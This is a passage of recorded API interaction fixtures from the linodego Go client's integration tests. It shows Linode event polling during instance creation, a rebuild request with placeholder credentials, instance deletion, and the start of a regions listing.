'{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 7, "time_remaining": null, "rate": null, "duration": 8.136519, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "460" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 7, "time_remaining": null, "rate": null, "duration": 8.427833, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "460" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 7, "time_remaining": null, "rate": null, "duration": 8.495054, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "460" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 7, "time_remaining": null, "rate": null, "duration": 8.561582, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "460" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 7, "time_remaining": null, "rate": null, "duration": 8.621884, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "460" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 7, "time_remaining": null, "rate": null, "duration": 8.686608, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "460" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 7, "time_remaining": null, "rate": null, "duration": 8.752747, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "460" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 7, "time_remaining": null, "rate": null, "duration": 8.816543, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "460" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 7, "time_remaining": null, "rate": null, "duration": 8.878716, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "460" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 7, "time_remaining": null, "rate": null, "duration": 8.950884, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "460" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 14, "time_remaining": null, "rate": null, "duration": 9.01283, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "460" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 14, "time_remaining": null, "rate": null, "duration": 9.076552, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "461" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 14, "time_remaining": null, "rate": null, "duration": 9.141855, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "461" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 14, "time_remaining": null, "rate": null, "duration": 9.201697, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "461" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 14, "time_remaining": null, "rate": null, "duration": 9.553625, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "461" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": null, "duration": 9.0, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "finished", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "455" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"image":"linode/alpine3.15","root_pass":"R34lBAdP455LONGLONGLONGLONG","metadata":{"user_data":"Y29vbA=="},"type":"g6-standard-2"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/49044775/rebuild method: POST response: body: '{"id": 49044775, "label": "go-test-ins-wo-disk-5j99m3hj2s1q", "group": "", "status": "rebuilding", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-standard-2", "ipv4": ["172.233.227.179"], "ipv6": "1234::5678/128", "image": "linode/alpine3.15", "region": "us-iad", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "9a9f3d33621d0539fc39a11a88b8b9564e9e5443", "has_user_data": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "752" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/49044775 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestInstance_Resize.yaml000066400000000000000000000665361455402072200314040ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 